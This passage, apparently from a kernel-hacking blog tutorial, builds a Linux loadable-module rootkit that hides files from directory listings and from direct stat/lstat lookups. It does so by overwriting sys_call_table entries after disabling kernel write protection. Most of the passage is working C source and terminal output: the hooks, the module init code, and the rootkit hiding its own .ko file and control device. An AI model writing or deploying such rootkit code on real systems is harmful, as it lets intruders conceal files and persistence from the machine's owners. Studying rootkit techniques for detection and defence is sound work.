root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app")'
root@dev:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app.c")'
root@dev:~/lkms/hidefiles# ls
cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app.c")'
root@dev:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app")'
root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.c")'
root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.o")'
root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt

As you can see, we are now able to hide and unhide files on demand, there is, however, still a problem:

1
2
3
4
5
6
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
root@dev:~/lkms/hidefiles# ls thisisatestfile.txt
thisisatestfile.txt

Hiding Files Better

Now let's hide the files even when they are queried directly.

To figure out how to do this we will use the same method as we did when figuring out how to hide files to being with, by looking at the system calls that are being made and hooking them.

We will start by determining the system calls responsible for this:

1
2
3
4
5
root@dev:~/lkms/hidefiles# strace ls thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
execve("/bin/ls", ["ls", "thisisatestfile.txt"], [/* 18 vars */]) = 0
stat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "thisisatestfile.txt\n", 20thisisatestfile.txt

I've grepped for the filename because the system call must be querying the filename directly, we've found 2 (stat64 and lstat64).

It looks like it returns 0 when its successful, let's see what happens when its unsuccessful:

1
2
3
4
5
root@dev:~/lkms/hidefiles# strace ls thisisnotafile.txt 2>&1 | grep 'thisisnotafile.txt'
execve("/bin/ls", ["ls", "thisisnotafile.txt"], [/* 18 vars */]) = 0
stat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
lstat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
write(2, "cannot access thisisnotafile.txt", 32cannot access thisisnotafile.txt) = 32

So they return -ENOENT if the file does not exist.

Another thing to note about this output is that the second argument to both stat64 and lstat64 is a pointer to a buffer which on a success is populated by the system call and obviously left blank in a failure.

The manpage for these functions confirms that:

1
2
int stat(const char *path, struct stat *buf);
int lstat(const char *path, struct stat *buf);

We don't care too much about the stat struct because if it matches any of our hidden files we will just return -ENOENT and otherwise we will forward the request to the original system call.

If we wanted to actually manipulate the results that applications got back from these systems calls, we could use this structure to do so.

One more thing to check is what the request looks like when a full path is given:

1
2
3
4
root@dev:~/lkms/hidefiles# strace ls ~/lkms/hidefiles/thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
stat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "/root/lkms/hidefiles/thisisatest"..., 41/root/lkms/hidefiles/thisisatestfile.txt

So the full path is passed to the system call, we will have to deal with this because obviously we only have a list of filenames so we will have to manually extract the actual filename to check against our list.

First let's write the function which extracts the filename from the full path and checks if it is in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int extractfilename(const char *f)
{
    int i, n, c;
    size_t l;
    l = strlen(f);

    for(i = l-1, n = 0; i>=0; i--, n++){
        if(f[i] == '/'){
            i = -1;
            break;
        }
    }

    if(i == -1)
        c = n+1;
    else
        c = l;

    char s[c];
    memset(s, 0, c);

    for(i = 0; n>0; i++, n--)
        s[i] = f[l-n];

    return lookupfilename(s);
}

We need to add the prototype in list.h so that the other files can use it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);
int extractfilename(const char *f);

#endif

Now for the system calls, this should be added to syscalls.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

asmlinkage int stat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_stat64(path, buf);
}

asmlinkage int lstat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_lstat64(path, buf);
}

And we need to update syscalls.h:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/stat.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int stat64_hook(const char *path, struct stat64 *buf);
asmlinkage int lstat64_hook(const char *path, struct stat64 *buf);
extern asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
extern asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

#endif

We need to include linux/stat.h because that includes the declaration of the stat64 structure.

And lastly we need to update main.c to hook and unhook these 2 syscalls on load/unload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];
    original_stat64 = sys_call_table[__NR_stat64];
    original_lstat64 = sys_call_table[__NR_lstat64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    sys_call_table[__NR_stat64] = stat64_hook;
    sys_call_table[__NR_lstat64] = lstat64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("hidefiles");
    addfile("hidefiles.ko");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    sys_call_table[__NR_stat64] = original_stat64;
    sys_call_table[__NR_lstat64] = original_lstat64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've changed the files that it automatically hides when loaded to hidefiles (which is the name of the character device file) and hidefiles.ko (which is the name of the LKM) because this is more useful, in reality these would be named something less descriptive and the other source files wouldn't be there.

Finally to test it:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:19:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
/root/lkms/hidefiles/list.c: In function ‘extractfilename’:
/root/lkms/hidefiles/list.c:110:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:51:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls -l
total 852
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 278101 Nov  5 20:41 hidefiles.ko
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls -l
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# ls -l /dev/hidefiles
ls: cannot access /dev/hidefiles: No such file or directory
root@dev:~/lkms/hidefiles# ls -l hidefiles.ko
ls: cannot access hidefiles.ko: No such file or directory
root@dev:~/lkms/hidefiles# ls -l ~/lkms/hidefiles/hidefiles.ko
ls: cannot access /root/lkms/hidefiles/hidefiles.ko: No such file or directory
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.c")'
root@dev:~/lkms/hidefiles# ls -l list.c
ls: cannot access list.c: No such file or directory
root@dev:~/lkms/hidefiles# ls
app     functs.c         hidefiles.o  Makefile        syscalls.o
app.c   functs.h         list.h       modules.order   thisisatestfile.txt
cdev.c  functs.o         list.o       Module.symvers
cdev.h  hidefiles.mod.c  main.c       syscalls.c
cdev.o  hidefiles.mod.o  main.o       syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.h")'
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.o")'
root@dev:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.mod.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.o  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.o      modules.order   syscalls.o
cdev.h  functs.o  main.c           Module.symvers  thisisatestfile.txt
root@dev:~/lkms/hidefiles# for f in `ls`; do python -c "open('/dev/hidefiles', 'w').write(\"a:$f\")"; done
root@dev:~/lkms/hidefiles# ls
root@dev:~/lkms/hidefiles# ls -l
total 0
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:list.o")'
root@dev:~/lkms/hidefiles# ls
list.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.ko     list.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.c  list.h  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.mod.o  list.o  modules.order   syscalls.o
cdev.h  functs.o  hidefiles.o      main.c  Module.symvers  thisisatestfile.txt

Funnily enough this also hides directories with a name that is in the list but doesn't stop you from cd'ing there:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# cd ..
root@dev:~/lkms# ls -l
total 720
-rw-r--r-- 1 root root    380 May 12 19:47 hello.c
-rw-r--r-- 1 root root  74389 Jul 11 17:54 hello.ko
-rw-r--r-- 1 root root    659 Jul 11 17:54 hello.mod.c
-rw-r--r-- 1 root root  42436 Jul 11 17:54 hello.mod.o
-rw-r--r-- 1 root root  32960 Jul 11 17:53 hello.o
-rw-r--r-- 1 root root   2080 Jul 11 18:18 hidefile.c
-rw-r--r-- 1 root root 122949 Jul 11 18:18 hidefile.ko
-rw-r--r-- 1 root root    810 Jul 11 17:54 hidefile.mod.c
-rw-r--r-- 1 root root  42636 Jul 11 17:54 hidefile.mod.o
-rw-r--r-- 1 root root  81320 Jul 11 18:18 hidefile.o
-rw-r--r-- 1 root root    195 Jul 11 17:51 Makefile
-rw-r--r-- 1 root root     86 Jul 11 18:18 modules.order
-rw-r--r-- 1 root root      0 May 12 19:35 Module.symvers
-rwxr-xr-x 1 root root   6107 Jun  4 21:04 reverse_app
-rwxr-xr-x 1 root root   6135 Jun  9 23:21 reverse-app
-rwxr-xr-x 1 root root   6140 Jun  9 23:41 reverse-app2
-rw-r--r-- 1 root root    899 Jun  9 23:41 reverse-app2.c
-rw-r--r-- 1 root root    899 Jun  9 23:14 reverse-app.c
-rw-r--r-- 1 root root   2013 Jun  9 22:49 reverse.c
-rw-r--r-- 1 root root 119395 Jul 11 17:54 reverse.ko
-rw-r--r-- 1 root root   1019 Jul 11 17:54 reverse.mod.c
-rw-r--r-- 1 root root  42888 Jul 11 17:54 reverse.mod.o
-rw-r--r-- 1 root root  77532 Jul 11 17:53 reverse.o
-rwxr-xr-x 1 root root   6587 Jun  9 22:25 reverse-test-app
-rw-r--r-- 1 root root    987 Jun  9 22:16 reverse-test-app.c
-rw-r--r-- 1 root root      0 Jul 11 18:18 thisisatestfile.txt
root@dev:~/lkms# ls -l hidefiles
ls: cannot access hidefiles: No such file or directory
root@dev:~/lkms# ls -l hidefiles/
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms# cd hidefiles
root@dev:~/lkms/hidefiles#

Anyway, our improved rootkit seems to work nicely and as expected.

It is still currently easy to detect our rootkit though:

1
2
root@dev:~/lkms/hidefiles# lsmod | grep hide
hidefiles              12763  0

You can get the full finished source code for the rootkit here.

Conclusion

We have used a number of techniques here to figure out how to hide files on the system and we have combined all of the knowledge we have gained to far to achieve this.

However, there are still a lot of ways we can improve this LKM, hiding the LKM's existence, and using the network to communicate are just a couple (we will take these up later).

When dealing with kernel code you have to be very careful as you can break the whole system, this is evident with the first character device that we created (just load the device and write 5000 bytes to it, the system will crash instantly).

Happy Kernel Hacking :-)

Further Reading

This article on Kernel Rootkit Tricks by Jürgen Quade

The Phrack article titled Linux on-the-fly kernel patching without LKM by sd and devik

Designing BSD Rootkits by Joseph Kong

And of course the kernel documentation